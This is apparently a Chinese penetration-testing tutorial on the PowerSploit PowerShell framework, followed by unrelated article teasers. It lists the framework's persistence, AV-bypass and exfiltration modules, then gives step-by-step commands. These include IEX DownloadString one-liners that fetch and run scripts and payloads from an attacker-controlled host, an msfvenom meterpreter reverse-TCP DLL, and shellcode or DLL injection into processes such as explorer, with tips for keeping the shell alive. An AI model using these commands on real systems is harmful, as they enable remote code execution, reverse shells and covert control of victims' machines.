首先介绍一下国外大牛制作的Powershell渗透工具PowerSploit,上面有很多powershell攻击脚本,它们主要被用来渗透中的信息侦察、权限提升、权限维持。

项目地址:https://github.com/PowerShellMafia/PowerSploit

该利器主要分为几个板块

一、代码执行(CodeExecution)

1. Invoke-DllInjection

2. Invoke-ReflectivePEInjection

3. Invoke-Shellcode

4. Invoke-WmiCommand

二、脚本修改(ScriptModification)

1. Out-EncodedCommand

2. Out-CompressedDll

3. Out-EncryptedScript

4. Remove-Comments

三、权限维持(Persistence)

1. New-UserPersistenceOption

2. New-ElevatedPersistenceOption

3. Add-Persistence

4. Install-SSP

5. Get-SecurityPackages

四、绕过杀毒软件(AntivirusBypass)

Find-AVSignature

五、信息收集(Exfiltration)

这个文件夹主要是收集目标主机上的信息。

六、信息侦察(Recon)

这个文件夹主要是以目标主机为跳板进行内网主机侦察。

总结下就是:

CodeExecution 在目标主机执行代码

ScriptModification 在目标主机上创建或修改脚本

Persistence 后门脚本(持久性控制)

AntivirusBypass 发现杀软查杀特征

Exfiltration 目标主机上的信息搜集工具

Mayhem 蓝屏等破坏性脚本

Recon 以目标主机为跳板进行内网信息侦查

安装方法

我们在Linux下首先clone这个git:

git clone https://github.com/PowerShellMafia/PowerSploit.git

然后将clone下的文件放入保证被攻击机能够访问的机器上面,这里我们采用本机,在本机搭建apache环境,将文件放入/var/www/html目录下即可。
开启apache服务:

service apache2 start

实战运用:

CodeExecution模块

a) 调用Invoke-Shellcode将shellcode注入到本地的Powershell。

1)利用msfvenom生成一个反弹木马,以供invoke-shellcode注入,同样生成的反弹马放入web中。

2) 调用目标机的powershell进行IEX远程下载invoke-shellcode脚本和生成的木马

首先下载脚本

PS C:\Documents and Settings\Administrator> IEX(New-Object Net.Webclient).DownloadString("http://192.168.190.141/PowerSp
loit/CodeExecution/Invoke-Shellcode.ps1")

下载生成好的木马

PS C:\Users\Administrator> IEX(New-Object Net.Webclient).DownloadString("http://192.168.190.141/code")

3)kali设置msf监听

4)在powershell中调用invoke-shellcode(可通过help命令来查询具体操作以及例子)。

PS C:\Users\Administrator> Invoke-Shellcode -Shellcode $buf -Force

b) 调用invoke-shellcode将shellcode注入到指定的进程中。

1)前面步骤和a的步骤一致,唯一不同的就是在最后的命令上,首先,查看我们需要注入的进程,建议可注入到系统的进程,因为一旦进程关闭,那么监听也将终断,因此系统进程一般不会被关闭,注意:不能注入到像360等驱动中,不然会被强制关闭。

比如我要注入explorer这个进程(Windows程序管理器或者文件资源管理器) ,首先要查看该进程的pid

ps -Name explorer

可以看到id为1228 注入该进程

Invoke-Shellcode -Shellcode $buf -ProcessID  -Force

注意:和a类似的,若关闭注入的进程,则连接中断。

c) 调用invoke-dllinjection将DLL注入到进程中。

1)通过msfvenom生成DLL的反弹木马,并下载到目标主机中(为了方便,直接将dll文件下载至powershell运行的桌面),在实际环境中,也可以通过该方法进行传输dll文件。

msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.190.141 lport= -f dll -o /var/www/html/code.dll

开启监听 注意payload需要和生成的dll执行的payload一致;

PS C:\Users\Administrator> IEX(New-Object Net.Webclient).DownloadString("http://192.168.190.141/PowerSploit/CodeExecutio
n/Invoke-DllInjection.ps1")

注入

PS C:\Users\Administrator> Invoke-DllInjection -Dll .\code.dll -ProcessID 

PowerSploit-CodeExecution(代码执行)脚本渗透实战的更多相关文章

  1. POWERSPLOIT-Exfiltration(信息收集)脚本渗透实战

    Exfiltration模块 a) 调用Get-Keystrokes记录用户的键盘输入. 1)通过IEX下载并调用Get-Keystrokes. PS C:\Users\Administrator&g ...

  2. POWERSPLOIT-Recon(信息侦察)脚本渗透实战

    Recon(信息侦察)模块 a) 调用invoke-Portscan扫描内网主机的端口. 1)通过IEX下载并调用invoke-portscan. PS C:\Users\Administrator& ...

  3. ECShop全系列版本远程代码执行高危漏洞分析+实战提权

    漏洞概述 ECShop的user.php文件中的display函数的模版变量可控,导致注入,配合注入可达到远程代码执行.攻击者无需登录站点等操作,可以直接远程写入webshell,危害严重. 漏洞评级 ...

  4. PHP 命令行模式实战之cli+mysql 模拟队列批量发送邮件(在Linux环境下PHP 异步执行脚本发送事件通知消息实际案例)

    源码地址:https://github.com/Tinywan/PHP_Experience 测试环境配置: 环境:Windows 7系统 .PHP7.0.Apache服务器 PHP框架:ThinkP ...

  5. WordPress wp-includes/functions.php脚本远程任意代码执行漏洞

    漏洞名称: WordPress wp-includes/functions.php脚本远程任意代码执行漏洞 CNNVD编号: CNNVD-201309-166 发布时间: 2013-09-13 更新时 ...

  6. 浏览器环境下JavaScript脚本加载与执行探析之代码执行顺序

    本文主要基于向HTML页面引入JavaScript的几种方式,分析HTML中JavaScript脚本的执行顺序问题 1. 关于JavaScript脚本执行的阻塞性 JavaScript在浏览器中被解析 ...

  7. Linux centosVMware 自动化运维Ansible介绍、Ansible安装、远程执行命令、拷贝文件或者目录、远程执行脚本、管理任务计划、安装rpm包/管理服务、 playbook的使用、 playbook中的循环、 playbook中的条件判断、 playbook中的handlers、playbook实战-nginx安装、管理配置文件

    一.Ansible介绍 不需要安装客户端,通过sshd去通信 基于模块工作,模块可以由任何语言开发 不仅支持命令行使用模块,也支持编写yaml格式的playbook,易于编写和阅读 安装十分简单,ce ...

  8. Ruby入门--Linux/Windows下的安装、代码开发及Rails实战

    Ruby入门--Linux/Windows下的安装.代码开发及Rails实战 http://www.linuxidc.com/Linux/2014-04/100242.htm Ubuntu 13.04 ...

  9. DC-8靶机渗透实战

    前言: 本文将讲述通过信息收集,再web站点的sql注入漏洞加john爆破登录后台,然后找到远程代码执行漏洞getshell,最后用exim4命令提权漏洞进行权限提升拿到最终的flag. 0x00 环 ...

随机推荐

  1. FreeSql (二十三)分组、聚合

    IFreeSql fsql = new FreeSql.FreeSqlBuilder() .UseConnectionString(FreeSql.DataType.MySql, "Data ...

  2. Vue2.x-社交网络程序项目的总结

    最近几天一直在学习Vue的课程,通过这个项目进行进一步的学习Vue方面的知识.掌握如何使用Vue搭建前端,如何请求Node.js写好的后端接口. 一.实现前后端连载 首先在后端的文件中  vue  i ...

  3. opencv边缘检测报错

    cnts = cv2.findContours(edged_image.copy(), cv2.RETR_LIST, cv2.CHAIN_APPROX_SIMPLE)cnts = cnts[0] if ...

  4. linux无法用root账号ssh登录(putty)

    解决方法: 在kali打开终端,修改ssh配置文件. vi /etc/ssh/sshd_config 将PermitRootLogin, 改成PermitRootLogin yes.(允许用root登 ...

  5. 解析 HTTP 请求 header 错误

    1.org.apache.coyote.http11.Http11Processor.service 解析 HTTP 请求 header 错误 2.原因:在创建项目名称的时候,文件名不能带有中文,只能 ...

  6. 环境搭建-Hadoop集群搭建

    环境搭建-Hadoop集群搭建 写在前面,前面我们快速搭建好了centos的集群环境,接下来,我们就来开始hadoop的集群的搭建工作 实验环境 Hadoop版本:CDH 5.7.0 这里,我想说一下 ...

  7. java-ztest测试报告的搭建,python-BeautifulReport

    今天用testng的时候感觉测试报告贼丑又慢,以下图片是对比.了解到ztest,搭建的时候发现网上没有教程,对java真是太不友好了,所以步骤记录下吧.有疑问的可进群:231733032 使用ztes ...

  8. MySQL delete和truncate

    1.delete 属于DML语言,每次删除一行,都在事务日志中为所删除的每行记录一项.产生rollback,事务提交之后才生效;如果有相应的 trigger,执行的时候将被触发,如果删除大数据量的表速 ...

  9. Flask基础(04)-->相关配置参数

    # 导入Flask from flask import Flask from flask import config # 创建Flask的应用程序 app = Flask(__name__) #=== ...

  10. HTML5 原生拖放

    前言: HTML5提供专门的拖拽与拖放的API,可以方便的指定某个元素可拖动,可以创建自定义的可拖动元素和放置目标 相关知识点: 1.拖放事件 拖放元素时,将依次触发下列事件 dragstart  按 ...